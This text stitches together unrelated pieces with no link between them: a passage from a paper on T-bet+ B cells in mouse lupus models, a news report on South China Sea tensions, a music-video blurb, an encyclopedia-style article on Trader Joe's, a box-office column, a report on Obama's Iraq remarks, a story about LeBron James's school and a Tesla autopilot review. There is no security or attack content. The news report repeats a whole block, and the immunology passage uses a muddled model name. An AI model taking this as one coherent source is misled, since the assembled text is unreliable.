indicate that T-bet expression in B cells is required for the formation of spontaneous GCs during autoimmune responses, but is dispensable for the formation of GCs in response to deliberate immunization, at least with an alum-adjuvanted Ag. These findings are in line with recent reports indicating that IFN-γR expression in B cells is required for the formation of spontaneous GCs during autoimmunity (30, 31) and indicate differential requirements for spontaneous and deliberate GC formation. This finding should be further examined in the future.  T-bet expression in B cells is required for the appearance of autoantibodies in Mer–/– and B6.Nba2 mice. Our data concern the role of T-bet+ B cells in the SLE model of lupus-like disease. However, other mouse models for this malady exist, so we asked whether the effects we observed were confined to SLE mice or were also apparent in other mouse models of SLE. To approach this question we used 2 other mouse strains that are known to develop lupus-like autoantibodies: B6 mice lacking MerTK (Mer–/– mice), which have a defect in the clearance of apoptotic cells and generate autoantibodies with age (32), and B6.Nba2 animals (referred to hereafter as Nba2 mice), which express the autoimmune-predisposing chromosome 1 locus of NZB animals (33). Both Mer–/– and Nba2 mice produce autoantibodies, but do not develop kidney pathology (32, 34). We intercrossed these mice with T-betfl/fl × CD19Cre/WT mice, generating Mer–/– × T-betfl/fl × CD19Cre/WT or Nba2 × T-betfl/fl × CD19Cre/WT mice with B cell–specific T-bet deletions.  As demonstrated in Figure 7A, Mer–/– animals with a B cell–specific T-bet deletion had significantly decreased titers of anti-chromatin antibodies in comparison with their Mer–/– littermate controls that contained T-bet+ B cells. B cell–specific T-bet deletion in Mer–/– mice also resulted in a reduced frequency of GC B cells (Figure 7B). The appearance of spontaneous GCs in such animals was also significantly reduced (data not shown). Similar effects on autoantibody production were detected in Nba2 × T-betfl/fl × CD19Cre/WT mice (Figure 7C).  Figure 7 Mer–/– and Nba2 mice with B cell–specific T-bet deletion exhibit reduced titers of autoantibodies, and reduced frequency of CD11c+ and GC B cells. (A) Titers of anti-chromatin IgG in the serum of Mer–/– and Mer–/– × T-betfl/fl × CD19Cre/WT mice at different ages (as indicated) assessed by ELISA (n = 10 mice per group). (B) Quantification of frequency of T-bet+CD11c+ B cells, GC B cells, and early plasmablasts in 4-month-old Mer–/– × T-betfl/fl × CD19Cre/WT versus Mer–/– mice. Bar graphs represent mean ± SEM (n = 4 mice per group, representative of 3 independent experiments). (C) Titers of anti-chromatin IgG and IgG2a in the serum of Nba2 and Nba2 × T-betfl/fl × CD19Cre/WT mice assessed by ELISA (n = 10 mice per group). *P < 0.05, **P < 0.01, ***P < 0.001 by 1-way ANOVA followed by Newman-Keuls analysis. NS, not significant.  Since, as mentioned above, Mer–/– and Nba2 mice do not develop kidney pathology, we could not assess the effects of B cell–intrinsic T-bet deletion on the development of these clinical features using these models of SLE. Nevertheless, these data show that our findings about the need for T-bet+ B cells for the appearance of autoimmune symptoms in SLE lupus-like disease is extendable to 2 other models of spontaneous autoantibody production. In combination with the recent discoveries of similar B cells in human patients (16, 17), discussed below, our data suggest that ABCs may be targets of interest in treatment of such diseases.
-China should prepare for 'military confrontation' in South China Sea, newspaper declares  Posted  China should prepare itself for military confrontation in the South China Sea, an influential Chinese paper has reported, a week ahead of a decision by an international court on a dispute between China and the Philippines.  Key points: China locked in territorial dispute with five other nations  Newspaper calls on China to be ready for conflict with Philippines  Philippines minister says 'nobody wants conflict'  Tensions have been rising ahead of a July 12 ruling by an arbitration court in the Dutch city of The Hague.  About $5 trillion in ship-borne trade passes every year though the energy-rich, strategic waters of the South China Sea, where China's territorial claims overlap in parts with Vietnam, the Philippines, Malaysia, Brunei and Taiwan.  In joint editorials in its Chinese and English editions, the state-run Global Times said the dispute, having already been complicated by US intervention, now faces further escalation due to the threat posed by the tribunal to China's sovereignty.  "Washington has deployed two carrier battle groups around the South China Sea, and it wants to send a signal by flexing its muscles: As the biggest powerhouse in the region, it awaits China's obedience," it said.  China should speed up developing its military deterrence abilities, the paper added.  "Even though China cannot keep up with the US militarily in the short-term, it should be able to let the US pay a cost it cannot stand if it intervenes in the South China Sea dispute by force," it said.  "China hopes disputes can be resolved by talks, but it must be prepared for any military confrontation. This is common sense in international relations."  The newspaper is published by the ruling Communist Party's official People's Daily, and while it is widely read in policy-making circles, it does not have the same mouthpiece function as its parent and its editorials cannot be viewed as representing government policy.  It is also well-known for its extreme nationalist views.  China, which has been angered by US patrols in the South China Sea, will be holding military drills in the waters starting from Wednesday.  China's Defence Ministry said the drills were routine, the official China Daily reported.  Manila has sought to dial down tensions with its powerful neighbour ahead of the decision, but resisted pressure to ignore the ruling.  "The reality is that nobody wants a conflict, nobody wants to resolve our conflict in a violent manner, nobody wants war," Philippines Foreign Minister Perfecto Yasay told ANC television.  "It is my understanding that the President would like to maintain stronger, better relationships with everybody, including China, including the United States, including Japan and all," Mr Yasay said, adding that a "special envoy" was needed to help resolve the dispute.  US officials have expressed concern that The Hague court ruling could prompt Beijing to declare an air defence identification zone, or ADIZ, as it did over the East China Sea in 2013, or step up the pace of reclamation and construction on its holdings in the disputed region.  This article includes interactive enhancements which are not supported on this platform. For the full interactive experience in this article, you will need a modern web browser with JavaScript enabled. Find out more about browser support at ABC News Online.  Vietnam, China, Malaysia have eyes on the prize  *  Rich in resources and traversed by a quarter of global shipping, the South China Sea is the stage for several territorial disputes that threaten to escalate tensions in the region.  At the heart of these disputes are a series of barren islands in two groups - the Spratly Islands, off the coast of the Philippines, and the Paracel Islands, off the coasts of Vietnam and China.  *  Both chains are essentially uninhabitable, but are claimed by no fewer than seven countries, eager to gain control of the vast oil and gas fields below them, as well as some of the region's best fishing grounds.  Indonesia, Malaysia and Brunei have made claims to part of the Spratlys based on the internationally recognised Exclusive Economic Zone (EEZ), which extends 200 nautical miles from a country's coastline.  *  Based on the EEZ, the Philippines has the strongest claim on the Spratlys and their resources, with its EEZ covering much of the area.  However the lure of resources, and prospect of exerting greater control over shipping in the region, means that greater powers are contesting the Philippines' claims.  *  China has made extensive sovereignty claims on both the Spratlys and the Paracels to the north, based largely on historic claims outlined in a map from the middle part of the 20th Century known as the 'Nine Dash Map'.  Taiwan also makes claims based on the same map, as it was created by the nationalist Kuomintang government, which fled to Taiwan after the communists seized power in China.  *  Vietnam also claims the Spratlys and the Paracels as sovereign territory, extending Vietnam's EEZ across much of the region and bringing it into direct conflict with China.  There have been deadly protests in Vietnam over China's decision to build an oil rig off the Paracels.  One Chinese worker in Vietnam was killed and a dozen injured in riots targeting Chinese and Taiwanese owned factories, prompting 3,000 Chinese nationals to flee the country.  *  EEZ can only be imposed based on boundaries of inhabitable land, and this has prompted all the countries making claims on the region to station personnel, and in some cases build military bases out of the water, to bolster their claim.  Building and protecting these structures has resulted in a series of stand-offs between countries in the region, each with the potential to escalate.  China has been leading the charge with these installations, and has deployed vessels to the region to protect their interests.  Chinese coast guard vessels have used a water cannon on Vietnamese vessels, as well as blockading an island where the Philippines has deployed military personnel.  Rich in resources and traversed by a quarter of global shipping, the South China Sea is the stage for several territorial disputes that threaten to escalate tensions in the region.At the heart of these disputes are a series of barren islands in two groups - the Spratly Islands, off the coast of the Philippines, and the Paracel Islands, off the coasts of Vietnam and China.Both chains are essentially uninhabitable, but are claimed by no fewer than seven countries, eager to gain control of the vast oil and gas fields below them, as well as some of the region's best fishing grounds.Indonesia, Malaysia and Brunei have made claims to part of the Spratlys based on the internationally recognised Exclusive Economic Zone (EEZ), which extends 200 nautical miles from a country's coastline.Based on the EEZ, the Philippines has the strongest claim on the Spratlys and their resources, with its EEZ covering much of the area.However the lure of resources, and prospect of exerting greater control over shipping in the region, means that greater powers are contesting the Philippines' claims.China has made extensive sovereignty claims on both the Spratlys and the Paracels to the north, based largely on historic claims outlined in a map from the middle part of the 20th Century known as the 'Nine Dash Map'.Taiwan also makes claims based on the same map, as it was created by the nationalist Kuomintang government, which fled to Taiwan after the communists seized power in China.Vietnam also claims the Spratlys and the Paracels as sovereign territory, extending Vietnam's EEZ across much of the region and bringing it into direct conflict with China.There have been deadly protests in Vietnam over China's decision to build an oil rig off the Paracels.One Chinese worker in Vietnam was killed and a dozen injured in riots targeting Chinese and Taiwanese owned factories, prompting 3,000 Chinese nationals to flee the country.EEZ can only be imposed based on boundaries of inhabitable land, and this has prompted all the countries making claims on the region to station personnel, and in some cases build military bases out of the water, to bolster their claim.Building and protecting these structures has resulted in a series of stand-offs between countries in the region, each with the potential to escalate.China has been leading the charge with these installations, and has deployed vessels to the region to protect their interests.Chinese coast guard vessels have used a water cannon on Vietnamese vessels, as well as blockading an island where the Philippines has deployed military personnel.  Reuters  Topics: unrest-conflict-and-war, world-politics, print-media, china, philippines
-And now for something expensive and amazing. Swedish progressive metal troupers, Freak Kitchen, just put out the most expensive prog metal music video this year… actually, probably many years.  It all began with their quest to crowdfund an ambitious music video at $90,000. Well, they probably ended up laughing at that original goal when they hit $142,000… Laughing all the way to Dreamworks and Disney that is. And the results are stunning.  Here's what the band had to say:  Combining the talents of Eisner-Award Winning Artist Juanjo Guarnido (Blacksad) and the face-meltingly awesome sounds of Freak Kitchen, a spectacular animated music video presented in World Premiere at NYCC, brought to life by an amazing team including Animators whose credentials range from Dreamworks to Disney and the brilliant 3-D studio Fortiche Prod. The video blends traditional 2-D character animation with 3-D computer graphics in a way you’ve never seen before. Come and see for yourself!  The proof is in the pudding and DAMN does the pudding taste good. Take a look at the "Freak of the Week".  We are a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for us to earn fees by linking to Amazon.com and affiliated sites.  Links: Facebook // Official Website // iTunes
-Trader Joe's is an American chain of grocery stores based in Monrovia, California. By 2015, it was a competitor in "fresh format" grocery stores in the United States.[4][5] As of October 12, 2017, Trader Joe's had 474 stores nationwide in 43 states and in Washington, D.C.[1]  The first Trader Joe's store was opened by founder Joe Coulombe in 1967 in Pasadena, California.[6] Starting in 1979, it was owned by German entrepreneur Theo Albrecht,[7] until his death in 2010, when ownership passed to his heirs.[8] Trader Joe's is a subsidiary of German supermarket chain ALDI Nord.[9] The company has offices in Monrovia, California, and Boston, Massachusetts.[10]  History [ edit ]  Trader Joe's is named after its founder, Joe Coulombe. The chain began in 1958 as a Greater Los Angeles area chain of Pronto Market convenience stores.[11] The original Pronto Markets were so similar to 7-Eleven that Coulombe felt the competition with 7-Eleven would be disastrous.[12]  Coulombe is said to have developed the idea of the Trader Joe's South Seas motif while on vacation in the Caribbean.[13] The Tiki culture fad of the 1950s and 1960s was fresh in the cultural memory, and Trader Vic's was at its height with 25 locations worldwide. He had noticed that Americans were traveling more and returning home with tastes for food and wine they had trouble satisfying in supermarkets of the time.  The first store branded as "Trader Joe's" opened in 1967. This store, on Arroyo Parkway in Pasadena, California, remains in operation to this day. In the first few decades since opening, some of the stores offered fresh meats provided by butchers who leased space in the stores. Trader Joe's at one time had sandwich shops, freshly cut cheese and freshly squeezed orange juice all in-store.  Germany's Theo Albrecht (owner and CEO of Aldi Nord) bought the company in 1979 as a personal investment for his family.[8] Coulombe was succeeded as CEO by John Shields in 1987. Under his leadership the company expanded beyond California, moving into Arizona in 1993 and into the Pacific Northwest two years later.[2] In 1996, the company opened its first stores on the East Coast in Brookline and Cambridge, both just outside Boston.[2] Shields retired from his position in 2001. Dan Bane succeeded him as CEO after working as President of the Western Division. When Bane became CEO in 2001, there were 156 stores in 15 states.[14]  BusinessWeek reported that Trader Joe's quintupled the number of its stores between 1990 and 2001, and multiplied its profits by ten.[8] Supermarket News estimated Trader Joe's sales for 2015 at $13 billion, and placed Trader Joe's 21st on the list of "SN's Top 75 Retailers for 2016."[15]  In February 2008, BusinessWeek reported that the company had the highest sales per square foot of any grocer in the United States. Two-and-a-half years later and in 2016, Fortune magazine estimated sales to be $1,750 in merchandise per square foot—more than double the sales generated by Whole Foods.[2]  In February 2016, due to customer feedback, Trader Joe's announced their goal "to have all the eggs they sell in western states (CA, OR, WA, AZ, NM and CO) come from cage-free suppliers by 2020 and all the eggs we sell nationally to come from cage-free suppliers by 2025."[16]  The May 2009 issue of Consumer Reports ranked Trader Joe's the second-best supermarket chain in the United States (after Wegmans).[17] In June 2009, MSN Money released its third annual Customer Service Hall of Fame survey results. Trader Joe's ranked second in customer service.[18] Although Ethisphere magazine listed Trader Joe's among its most ethical companies in the United States from 2008 to 2010, Trader Joe's did not make the list in 2011.[19][20][21] In 2014, Consumer Reports again ranked Trader Joe's a top-scoring supermarket chain.[22]  Locations [ edit ]  As of October 12, 2017 , Trader Joe's had 474 stores in the United States with stores being added regularly. In 2017, Trader Joe's opened 14 new stores nationwide.[23] Most locations averaged between 10,000 and 15,000 sq ft (1,400 m2).  Each location is designed to represent its respective area. Every store has its own crew members that create artwork to represent the surrounding neighborhood. Some store locations have their own "find the mascot" and kids can obtain a prize when they tell a crew where it is "hiding".  Trader Joe's is a tiki-nautical themed establishment but locational stores may include props to blend into the local area; for example, a surf theme for a store near the beach.  Up until the early 2000s, Trader Joes advertised their toll-free hotline, 1-800-SHOP-TJS in their radio ads, to help customers find their nearest store. As of 2018, this number is no longer in service, and the ability to find the nearest store has been supplanted by more modern technology such as their web site.  Products [ edit ]  While a typical grocery store may carry 50,000 items, Trader Joe's stocks about 4,000 items, 80% of which bear one of its own brand names.[2] Trader Joe's describes itself as "your neighborhood grocery store". Products include gourmet foods, organic foods, vegetarian foods, unusual frozen foods, imported foods, domestic and imported wine and beer (where local law permits), "alternative" food items, and staples such as bread, cereal, eggs, dairy, coffee, and produce. The company sells its bananas for 19 cents each instead of by the pound. Non-food items include personal hygiene products, household cleaners, vitamins, pet food, plants, and flowers.  Many of the company's products are environmentally friendly.[24] In October 2007, amid customer concerns, Trader Joe's began to phase out foods imported from China, and from February to April 2008, Trader Joe's phased out single-ingredient products from China because of customer concerns.[25] Between 2012 and 2013, Trader Joe's moved from 15th on Greenpeace's CATO (Carting Away the Oceans) scale to third by removing six unsustainable species of fish from its shelves and getting involved in efforts to protect the Bering Sea Canyons.[26]  Trader Joe's discontinues individual products based on customer reactions more often than larger grocery chains to free up space for new items.[27] Some products are exclusive to certain regions (e.g., midwest, east coast) of the United States depending on availability and popularity.  "Two Buck Chuck" for sale at Trader Joe's  Trader Joe's sells many items under its own private labels, at a significant discount to brand-name equivalents, and requires its brand-name suppliers not to publicize this business relationship.[2] Trader Joe's labels are sometimes named in accordance with the ethnicity of the food in question, such as "Trader Jose's" (Mexican food), "Baker Josef's" (flour and bagels), "Trader Giotto's" (Italian food), "Trader Joe-San's" (Japanese food), "Trader Ming's" (Asian food), "JosephsBrau" (beer), and "Trader Jacques'" (French food and soaps). By selling almost all of its products under its own labels, Trader Joe's "skips the middle man" and buys directly from both local and international small-time vendors.[28]  Trader Joe's is the exclusive retailer of Charles Shaw wine, popularly known as "Two Buck Chuck"[24] because of its original $1.99 price tag in California (local prices vary). Of the wine selection at Trader Joe's, Coloumbe has said, "We built Trader Joe's on wine first, then food. I tasted 100,000 wines, and most weren't wonderful. They were submitted to us by desperate vintners". Along with Charles Shaw, Trader Joe's is known for stocking a very large selection of California and New World wines.[29]  Trader Joe's has said its private-label products contain no artificial flavors, no artificial preservatives, no colors derived from anything other than naturally available products, no genetically modified ingredients, no partially hydrogenated oils (adding trans fat), and no MSG. In addition, its private label dairy products use milk from cows not given the artificial growth hormone rBST.[citation needed]  Trader Joe's also has a "Fearless Flyer" that showcases new products or highlighted products of the month. The flyer is sent out periodically to homes upon request with no charge, and is available in-store. The company sends out "E-Flyers" that are only accessible online. Both flyers include stories about new products, a description, and even recipes.[30] On May 1, 2018, Trader Joe's launched their first podcast, "Inside Trader Joe's". This podcast has five episodes and features crew members, store captains and executives. Listeners can learn about the way the retailer does business, where and how they discover new products, get answers to frequently asked questions, and more.[31]  Criticism [ edit ]  February 2012 protest at Trader Joe's Headquarters in Monrovia, California  From an article titled “Trader Joe’s Gets it Easy?”:  The chain ranked low on Greenpeace’s sustainable seafood report card. The packaging is excessive, with even the produce sealed in plastic. The business model forces consumers to buy in quantities large enough to encourage waste. And most of Trader Joe’s products are made on equipment shared with everything you might be allergic to (dairy, nuts) or philosophically opposed to eating (dairy, meat). Cameron Scott, San Francisco Chronicle, 2013[32]  The retailer has been characterized as “notoriously secretive” [33] and has been criticized for a lack of transparency by management about the sources of products such as organic milk. [34] [35] [ needs update ]  and has been criticized for a lack of transparency by management about the sources of products such as organic milk. In September 2013, in response to the implementation of the Affordable Care Act (ACA), Trader Joe's explained that it would require part-time employees to work an average of 30 hours per week to qualify for medical insurance (with free coverage for basic dental and vision care still available for all Crew Members who work an average of 15 hours or more per week). Part-time employees not qualifying would now be eligible for plans available under the ACA (but available only to those whose employers do not offer them an insurance plan). Those working full-time were unaffected. [36]  In June 2017, Trader Joe's launched the “puff dog”, a roll of spiced sausage meat wrapped in puff pastry, which it claimed to have invented.[37] Social media and British and Commonwealth media pointed out that the sausage roll was a traditional British savory snack,[37] where bakery-chain Greggs sells around 2.5 million sausage rolls per week.  See also [ edit ]
-Sony's No Good Deeds was the top film on Friday, as the Idris Elba/Taraji P. Henson home invasion thriller earned a pretty terrific $8.8 million on its first day of release. The $13.5m thriller courted a bit of controversy this week when Sony decided at the last minute to pull all scheduled press screenings, citing their desire to keep secret a climactic plot twist. The critics did get their hands into the picture on Friday and as expected they were pretty brutal. Did Sony merely decide to not screen the film for critics because they knew it was a critic-proof movie anyway (they went through a period in early 2006 where they released a bunch of movies sans-press screenings to relative box office success)? Or did the scenes of Idris Elba stalking, beating, and (no spoilers) possibly killing women gave executives worry after the Ray Rice domestic violence situation? I'll leave you to speculate, but audiences didn't care and the end result is still a rock-solid debut weekend for the Will Packer-produced thriller.  Will Packer is having a pretty terrific year, having produced Ride Along and Think like a Man Too thus far this year. He thus-far only one project set for 2015, the Kevin Hart romantic comedy The Wedding Ringer (about a guy who provides "best men" to grooms with no male friends). No Good Deed is breaking out for the simplest of reasons: It's a straight-up genre picture that just happens to feature two very popular black actors in the lead roles. Idris Elba is one of the biggest heartthrobs around and Henson has a strong following as well. As I've said before and will say again, black audiences don't necessarily want every film aimed at them or starring actors of color to be brutally depressing dramas about the various outrages of and/or struggles against racism. Sometimes they too just want to watch a ridiculously good looking black man chase a damsel-in-distress around a location until she (I presume) kills him at the last minute. If you build it, they will come. And this weekend it looks like they came to the tune of around $25 million.  The next new release was Warner Bros. (Time Warner Inc.)'s kid-centric sequel A Dolphin Tale 2. The first Dolphin Tale opened three years ago this weekend with $19.1 million and had a leggy run that ended with $72.2m domestic and $95m worldwide on a $37m budget. The sequel, which like the original was produced by Alcon, cost about the same, with pretty much all of the original cast (Morgan Freeman, Ashley Judd, Winter the Dolphin, etc.) returning. As such, A Dolphin Tale opened last night with $4.262m, compared with the $5m earned by the first Dolphin Tale over its first Friday. If the multiplier is similar, and I see no reason why it shouldn't be (Are there that many die-hard Dolphin Tale fans that rushed out to see the sequel?), then Warner Bros. is looking at a $16m debut weekend.  I'm sure I'm supposed to tell you how sad it is that it won't open as high as the first film, but I won't. The original isn't exactly a family classic. There are no real "added value elements," no kid-friendly celebrity like Ariana Grande showing up as a darker and scarier villain who planned to get caught and makes the kids and adults question the moral simplicity of the first film ("Look out behind you, Harry Connick, Jr.! Noooooooo!") to make the sequel stand out. The fact that it will open pretty close to the original while costing the same counts as a win in my book. I'll be seeing this with the whole family on Sunday, despite not having seen the first one. If anyone wants to catch me up on what I'm sure is an incredibly complicated web of world-building established in the first Dolphin Tale, that's what the comments section is for.  There was a semi-wide new release as well, as Fox Searchlight debuted The Drop on 800 screens. The Dennis Lehane adaptation is notable for containing the last performance from the late James Gandolfini. The film cost Chernin Entertainment $10 million to produce and, I'm guessing from the almost non-existent marketing campaign, didn't cost too much more to advertise. As such, the film's $1.46m Friday gross and projected $4m opening weekend on just 809 screens ($5,218 per-screen) isn't too bad. The film, which stars Tom Hardy, Naomi Rapace, and a cute dog of some kind which every critic is talking about (I'm a cat person myself). Anyway, it's the kind of small-scale, star-driven, mainstream genre entre that would have a been a mainstream release ten years ago... which means I'm thrilled that it ended up in semi-wide release right off the bat. Kudos to Fox Searchlight on giving it a go. I have not seen the picture, but if you're curious check out this review from friend and colleague Aaron Neuwirth.  Also opening in uber-limited release is The Disappearance of Eleanor Rigby. The romantic drama, starring Jessica Chastain and James McAvoy opened on four screens and earned $20,992 for the Weinstein Company. The interesting thing about this picture, which is about the slow death of a romantic relationship, is that it is the cobbled together version taken from two separate pictures (Him and Her) which basically tell the story from the point-of-view of each participant respectively. It will be interesting to see what valued this stand-alone version has once the separate cuts become more readily available. The third Atlas Shrugged installment, a franchise which keeps getting sequels despite market forces telling them that there is no demand, earned around $190k last night for a projected $590k weekend. As always, theaters love these films because none of the moviegoers will share their refreshments.  The rest is holdover news, and I will be brief today. Walt Disney's Guardians of the Galaxy earned $2.09 million yesterday, setting the stage for a $7m weekend and propelling the film over the $300m domestic milestone (it's at $299.98m). It should also top $600m worldwide this weekend as well. Paramount's Teenage Mutant Ninja Turtles should earn around $5m for the weekend, after earning $1.17m yesterday, bringing its cume up to $181m. 20th Century Fox's Let's Be Cops, another mainstream film that overcame terrible timing in terms of real-life horrors, should bring it around $4m for the weekend, after earning $1.27m yesterday, which will bring its total up to $73m. Warner Bros.' If I Stay earned 1.16m (-27%) bringing its total up to $42m while Into the Storm earned $0.235m (-37%) and brought its domestic cume to $45.1m. Sony's When the Game Stands Tall earned another $0.715m and should earn around $2.6m for the weekend which will bring its cume to $26.8m. The November Man earned another $0.84m on its third Friday, bringing the Pierce Brosnan spy thriller over the $20m mark. Finally, The Giver should pass $40m by the end of the weekend, while The Hundred-Foot Journey should end the frame with around $49m domestic.  Join us tomorrow for more holdover news and weekend estimates.
-By Alexis Simendinger - August 9, 2014  President Obama warned Americans Saturday that the U.S. military operation in Iraq is open-ended, and he did not discount that it could be years before the Iraqi government is able to independently thwart terrorists who seek a permanent foothold there.  “I don’t think we’re going to solve this problem in weeks,” Obama said. “I think this is going to take some time.”  Responding to questions after delivering a statement about Iraq, Obama stressed that U.S. military airstrikes in the near term are protecting American diplomatic and military personnel and defending thousands of Iraqis cornered by terrorists atop a mountain. But he suggested U.S. military defenses from the air and U.S. counterterrorism assistance may be needed for a prolonged period.  “I’m not going to give a particular timetable,” he said following remarks regarding the two days of what he called successful airstrikes and humanitarian airdrops of food and water to tens of thousands of people trapped on Mount Sinjar.  The president outlined a U.S. military operation that is providing humanitarian assistance first, to be followed by an effort to bring the Yezidis and other ethnic and religious minorities down from where they fled from by extremists known as the Islamic State of Iraq and the Levant. The refugees will then be relocated to a safe place.  “That may take some time,” Obama said, noting that defending and escorting tens of thousands of frightened families to new locations will be an international operation requiring planning and coordination.  “They’re in the thousands, and moving them is not simple in this kind of security environment,” he said.  Obama stressed that the timetable most on his mind is not Iraq’s near-term defense challenges, but the long-term task of seeing the Iraqi government complete its selection of leaders and commit to inclusive governance that can eventually become an antidote, as he sees it, to militant extremists such as ISIL (also known as ISIS).  “I think part of what we’re able to do right now is to preserve a space for them to do the hard work that’s necessary,” the president said. “If they do that, the one thing that I also think has changed is that many of the Sunni countries in the region, who have been generally suspicious or wary of the Iraqi government, are more likely to join in the fight against ISIS, and that can be extremely helpful. But this is going to be a long-term project.”  The president described a U.S. goal of containing ISIL rather than defeating the terrorist army, which is operating in both Iraq and Syria. When asked if the solutions he envisioned for Iraq would take years rather than months, the president did not dispute that timeline.  “We can assist and our military obviously can play an extraordinarily important role in bolstering efforts of an Iraqi partner as they make the right steps to keep their country together, but we can’t do it for them,” he repeated.  He reiterated his vow that U.S. combat forces would not return to Iraq during his presidency. But he described ongoing U.S. military, counterterrorism, and political engagement that may endure as long as conditions on the ground in Iraq demand them -- and as long as the Iraqi government remains weakened.  “The Iraqi security forces, in order to mount an offensive and be able to operate effectively with the support of populations in Sunni areas, are going to have to revamp, get resupplied -- have a clearer strategy,” he said. “That’s all going to be dependent on a government that the Iraqi people and the Iraqi military have confidence in. We can help in all those efforts.”  Obama conceded U.S. intelligence underestimated ISIL’s abilities to capture territory swiftly, mobilize with efficiency, and launch assaults the Iraqi people and the country’s security forces could not combat.  “There is no doubt that their advance, their movement over the last several months has been more rapid than the intelligence estimates and I think the expectations of policymakers, both in and outside of Iraq,” he said.  The president bristled when asked whether the withdrawal of U.S. troops from Iraq contributed to ISIL’s rise and its violent rampage, and whether Iraq offers lessons as U.S. forces prepare to exit Afghanistan at the end of the year. Obama also sidestepped his renowned criticisms of the Iraq War, as well as his campaign promises to end it, as he declared he did at the end of 2011.  “What I just find interesting is the degree to which this issue keeps on coming up, as if this was my decision,” the president said. “In order for us to maintain troops in Iraq, we needed the invitation of the Iraqi government and we needed assurances that our personnel would be immune from prosecution.”  The new Iraqi government would not sign such an agreement, which compelled the removal of troops, he said, arguing that as president he could not force a sovereign nation to keep U.S. military forces in place.  “Let’s just be clear,” Obama said. “The reason that we did not have a follow-on force in Iraq was because … a majority of Iraqis did not want U.S. troops there, and politically they could not pass the kind of laws that would be required to protect our troops in Iraq.”  With clear irritation, the president said “that entire analysis is bogus and is wrong.”  The U.S. military mission, at least for the time being, will not require new appropriations, the president added. Late Friday, he formally notified Congress of operations in Iraq under the terms of the War Powers Resolution. On Saturday he said existing appropriations and U.S. “assets” already in the region should be sufficient. If new requests are necessary, he said he would consult lawmakers. Congress will return to Washington from a month-long recess in September.  “Right now, at least, I think we are okay,” Obama said.  Dressed in a blue sport coat and without a tie, the president ended his remarks and walked into the White House residence, returning moments later to board Marine One, which was parked and waiting for him on the South Lawn.  With him were wife Michelle and daughter Malia, as well as National Security Adviser Susan Rice and national security spokesman Ben Rhodes. The Obamas on Saturday began a two-week vacation on Martha’s Vineyard, which will be interrupted by a fundraiser there on Monday and a return to Washington by the president Aug. 17-19 for what has only been described as “meetings” with staff.  Asked if he was ready for his vacation, Obama paused and smiled.  “I’m ready to not have a suit on for a while,” he said.
-LeBron James will open a public school for at-risk children in his hometown of Akron, Ohio, according to the Associated Press.  The LeBron James Family Foundation has partnered with Akron Public Schools to charter the “I Promise School,” dedicated to students who might otherwise be left behind. The school is set to open for third and fourth graders in the fall of 2018. The school will expand to grades 1-8 in 2022.  "This school is so important to me because our vision is to create a place for the kids in Akron who need it most — those that could fall through the cracks if we don't do something," said James, a four-time MVP and three-time NBA champion, via the Associated Press.  This isn’t LeBron’s first rodeo  James partnered with the University of Akron to provide full scholarships for students in his program who qualify. His foundation’s Wheels for Education and Akron I Promise Network programs have helped expose students to multiple career paths they may not have otherwise discovered.  In all, the Cavaliers star’s programs have helped more than 1,100 kids over the past six years. Those experiences have helped James prepare for his biggest challenge yet.  “We've learned over the years what works and what motivates them, and now we can bring all of that together in one place along with the right resources and experts,” he said. “If we get to them early enough, we can hopefully keep them on the right track to a bigger and brighter future for themselves and their families."  He also has a mold to follow.  Ex-NBA star Jalen Rose opened a school in his hometown of Detroit. The Jalen Rose Leadership Academy has produced two graduating classes since its inception in 2011, and 100 percent of those graduated have gone to either college, technical school, or the military.
-For months now, Tesla has been saying that their cars would soon pick up a whole new trick: autopilot.  Later this week, the first of those features will hit Tesla’s fleet — but we’ve already taken them for a spin. We went hands-on (hands-off?) with a pre-release version of the autopilot software, letting the car steer itself down the highway at 70 miles per hour.  One big thing to make clear: these features don’t turn the Model S into a full blown self-driving car. You won’t be punching in your destination and laying back for a nap; instead, these features are meant more to make your long highway commutes less painful.  Elon Musk says he sees full automation coming within about 3 years; this is just a big first step.  So what can it do for now?  Once you’re on the highway, an autosteering feature can maintain your speed, keep an appropriate distance from the cars around you, and keep you in your lane — even around big bends and turns. It doesn’t just let out a loud beep when you start to drift out of your lane; it physically controls the wheel.  It’ll also change lanes for you — just pop on your turn signal, loosen your grip on the wheel, and it’ll merge over as soon as the way is clear.  The autosteer features will work on city streets — but given that the car currently doesn’t recognize things like stop lights, it’s not advised. You’d be taking over manually every few seconds… or, you know, blasting through stop signs. Tesla is being pretty careful to caution that the features are really meant for the highway only, right now.  Tesla’s autopilot/autosteering stuff works by combining data from four sources: ultrasonic (SONAR) sensors to look for cars around you, a forward-facing radar that can see through fog and rain, a forward-facing camera that handles computer vision voodoo like looking for speed limit signs, and high-precision GPS mapping data that acts as something of a second layer for when the built-in vision system needs a sanity check.  Oh, and it’ll parallel park for you, too. That feature has made its way into other cars, of course — but it works well in the Model S. It’s fast, and perfectly smooth. It doesn’t feel like you’re being parked by a robot; instead, it feels like you’ve got a really talented human parking the car.  We’d need to spend more time with the autopilot features before we really gave it that good ol’ TC stamp of approval — but in our short test period with it, I can say it seemed to work well. Once I trusted the car to do the steering and loosened my grip, it was a pretty mindblowing experience.  There were times when the system tripped up, but it did so gracefully. At no point during our test did it feel like the car was doing anything unsafe, nor did I ever feel like I couldn’t immediately retake control. A few times, though, things that I was expecting to happen just… didn’t. I’d tell the car to switch lanes; instead, it just stayed its course, keeping me perfectly in the lane I was already in.  A Tesla rep tells me that this may have been due to the lighting conditions at the time; if the car’s AI isn’t 100% confident that it’s safe to change lanes, it just won’t. Better to have a driver take over than to autosteer into something it somehow missed, right?  Tesla’s autopilot features will work on Model Xs and Model S built after September 2014, though a one-time fee of $2,500 (generally paid at time of purchase) is required to turn the features on. These features should start rolling out, along with some visual/UI changes to the car’s in-dash touchscreen interface, tomorrow.
